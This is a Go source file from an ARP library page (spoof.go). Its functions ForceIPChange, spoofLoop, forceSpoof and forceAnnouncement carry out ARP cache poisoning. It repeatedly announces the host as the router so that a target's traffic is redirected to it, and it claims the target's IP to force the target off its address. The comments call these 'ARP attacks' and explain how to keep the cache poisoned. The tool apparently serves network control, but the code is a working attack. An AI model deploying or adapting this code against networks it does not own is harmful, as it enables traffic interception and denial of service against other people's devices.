-
Notifications
You must be signed in to change notification settings - Fork 8
/
spoof.go
277 lines (240 loc) · 7.98 KB
/
spoof.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
package arp
import (
"context"
"fmt"
"net"
"time"
"log"
)
// ForceIPChange performs the following:
// 1. set client state to "hunt" which will continuously spoof the client ARP table
// 2. create a virtual host for each IP and claim the IP
// 3. spoof the client ARP table to redirect all traffic to host
// 4. claim the client IP to force client to reaquire DHCP
// 5. notify when client change IP
//
// client will revert back to "normal" when a new IP is detected for the MAC
func (c *Handler) ForceIPChange(mac net.HardwareAddr, claimIP bool) error {
if Debug {
log.Printf("ARP force IP change mac=%s", mac)
}
c.Lock()
client := c.table.findByMAC(mac)
if client == nil || !client.Online || client.State == StateVirtualHost {
err := fmt.Errorf("mac %s is not online", mac)
c.Unlock()
return err
}
if client.State == StateHunt {
err := fmt.Errorf("mac %s already in hunt state", mac)
c.Unlock()
return err
}
client.State = StateHunt
client.ClaimIP = claimIP
ips := client.IPs()
c.Unlock()
// one virtual mac per IP
for _, v := range ips {
go c.spoofLoop(c.ctx, client, v)
}
return nil
}
// StopIPChange terminate the hunting process
func (c *Handler) StopIPChange(mac net.HardwareAddr) error {
if Debug {
log.Printf("ARP stop IP change mac=%s", mac)
}
c.Lock()
defer c.Unlock()
client := c.table.findByMAC(mac)
if client == nil {
err := fmt.Errorf("mac %s not found", mac)
return err
}
if client.State != StateHunt {
err := fmt.Errorf("not in hunt state mac=%s state=%s", mac, client.State)
if Debug {
log.Printf("ARP %s", err)
}
return err
}
// This will end the spoof goroutine
client.State = StateNormal
client.ClaimIP = false
return nil
}
// ClaimIP creates a virtual host to claim the ip
// When a virtual host exist, the handler will respond to ACD and request packets for the ip
func (c *Handler) ClaimIP(ip net.IP) {
c.Lock()
if virtual := c.table.findVirtualIP(ip); virtual == nil {
virtual, _ = c.table.upsert(StateVirtualHost, newVirtualHardwareAddr(), ip)
virtual.Online = false // indicates spoof goroutine is not running
}
c.Unlock()
}
// IPChanged is used to notify that the IP has changed.
//
// The package will detect IP changes automatically however some clients do not
// send ARP Collision Detection packets and hence do not appear as an immediate change.
// This method is used to accelerate the change for example when a
// new DHCP MACEntry has been allocated.
//
func (c *Handler) IPChanged(mac net.HardwareAddr, clientIP net.IP) {
// Do nothing if we already have this mac and ip
c.RLock()
if client := c.table.findByMAC(mac); client != nil && client.Online && client.IP().Equal(clientIP) {
c.RUnlock()
return
}
c.RUnlock()
if Debug {
log.Printf("ARP ip%s validating for mac=%s", clientIP, mac)
}
if err := c.Request(c.config.HostMAC, c.config.HostIP, EthernetBroadcast, clientIP); err != nil {
log.Printf("ARP request failed mac=%s: %s", mac, err)
}
go func() {
for i := 0; i < 5; i++ {
time.Sleep(time.Second * 1)
c.RLock()
if entry := c.table.findByMAC(mac); entry != nil && entry.IP().Equal(clientIP) {
c.RUnlock()
if Debug {
log.Printf("ARP ip=%s found for mac=%s ips=%s", entry.IP(), entry.MAC, entry.IPs())
}
return
}
c.RUnlock()
// Silent request
if err := c.request(c.config.HostMAC, c.config.HostIP, EthernetBroadcast, clientIP); err != nil {
log.Printf("ARP request 2 failed mac=%s ip=%s: %s", mac, clientIP, err)
}
}
log.Printf("ARP ip=%s not detect for mac=%s", clientIP, mac)
if Debug {
c.RLock()
c.table.printTable()
c.RUnlock()
}
}()
}
// spoofLoop attacks the client with ARP attacks
//
// It will continuously send a number of ARP packets to client:
// 1. spoof the client arp table to send router packets to us
// 2. optionally, claim the ownership of the IP to force client to change IP or go offline
//
func (c *Handler) spoofLoop(ctx context.Context, client *MACEntry, ip net.IP) {
// create a virtual host and move IPs to it
// Virtual Host will exist until they get deleted by the purge goroutine
var virtual *MACEntry
c.Lock()
if client.ClaimIP {
virtual = c.table.findVirtualIP(ip)
// Online virtual hosts are still running in a goroutine
if virtual != nil && virtual.Online {
c.Unlock()
return
}
if virtual == nil {
virtual, _ = c.table.upsert(StateVirtualHost, newVirtualHardwareAddr(), ip)
}
virtual.Online = true // online indicates goroutine is running
}
mac := client.MAC
c.Unlock()
// 4 second re-arp seem to be adequate;
// Experimented with 300ms but no noticeable improvement other the chatty net.
ticker := time.NewTicker(time.Second * 4).C
startTime := time.Now()
nTimes := 0
log.Printf("ARP attack ip=%s client=%s time=%v", ip, mac, startTime)
for {
c.Lock()
// Always search for MAC in case it has been deleted.
client := c.table.findByMAC(mac)
if client == nil || client.State != StateHunt {
log.Printf("ARP attack end ip=%s client=%s repeat=%v duration=%v", ip, mac, nTimes, time.Now().Sub(startTime))
if virtual != nil {
virtual.Online = false // goroutine ended
}
c.Unlock()
/** This causes a network lock up - why? all routes and arp table lose state
// Restore target ARP table to default gw
if c.routerEntry.MAC != nil {
c.announce(mac, c.routerEntry.MAC, c.config.RouterIP, EthernetBroadcast, 2)
}
***/
return
}
if virtual != nil {
virtual.LastUpdated = time.Now()
}
c.Unlock()
// Re-arp target to change router to host so all traffic comes to us
// i.e. tell target I am 192.168.0.1
//
// Use virtual IP as it is guaranteed to not change.
c.forceSpoof(mac, ip)
// Use VirtualHost to claim ownership of the IP and force target to acquire another IP
if virtual != nil && nTimes < 5 {
c.forceAnnouncement(mac, virtual.MAC, ip)
}
if nTimes%16 == 0 {
log.Printf("ARP attack ip=%s client=%s repeat=%v duration=%v", ip, mac, nTimes, time.Now().Sub(startTime))
}
nTimes++
select {
case <-ctx.Done():
return
case <-ticker:
}
}
}
// forceSpoof send announcement and gratuitous ARP packet to spoof client MAC arp table to send router packets to
// host instead of the router
// i.e. 192.168.0.1->RouterMAC becames 192.168.0.1->HostMAC
//
// The client ARP table is refreshed often and only last for a short while (few minutes)
// hence the goroutine that re-arp clients
// To make sure the cache stays poisoned, replay every 5 seconds with a loop.
func (c *Handler) forceSpoof(mac net.HardwareAddr, ip net.IP) error {
// Announce to target that we own the router IP
// This will update the target arp table with our mac
err := c.announce(mac, c.config.HostMAC, c.config.RouterIP, EthernetBroadcast, 2)
if err != nil {
log.Printf("ARP error send announcement packet mac=%s ip=%s: %s", mac, ip, err)
return err
}
// Send 3 unsolicited ARP reply; clients may discard this
for i := 0; i < 2; i++ {
err = c.reply(mac, c.config.HostMAC, c.config.RouterIP, mac, ip)
if err != nil {
log.Printf("ARP error spoof client mac=%s ip=%s: %s", mac, ip, err)
return err
}
time.Sleep(time.Millisecond * 10)
}
return nil
}
// forceAnnounce send a ARP packets to tell the network we are using the IP.
func (c *Handler) forceAnnouncement(dstEther net.HardwareAddr, mac net.HardwareAddr, ip net.IP) error {
err := c.announce(dstEther, mac, ip, EthernetBroadcast, 4) // many repeats to force client to reaquire IP
if err != nil {
log.Printf("ARP error send announcement packet mac=%s ip=%s: %s", mac, ip, err)
}
// Send gratuitous ARP replies : Log the first one only
// err = c.Reply(mac, ip, EthernetBroadcast, ip) // Send broadcast gratuitous ARP reply
err = c.reply(dstEther, mac, ip, EthernetBroadcast, ip) // Send gratuitous ARP reply - unicast to target
for i := 0; i < 3; i++ {
if err != nil {
log.Printf("ARP error send gratuitous packet mac=%s ip=%s: %s", mac, ip, err)
}
time.Sleep(time.Millisecond * 10)
// Dont show in log
err = c.reply(dstEther, mac, ip, EthernetBroadcast, ip) // Send gratuitous ARP reply
}
return nil
}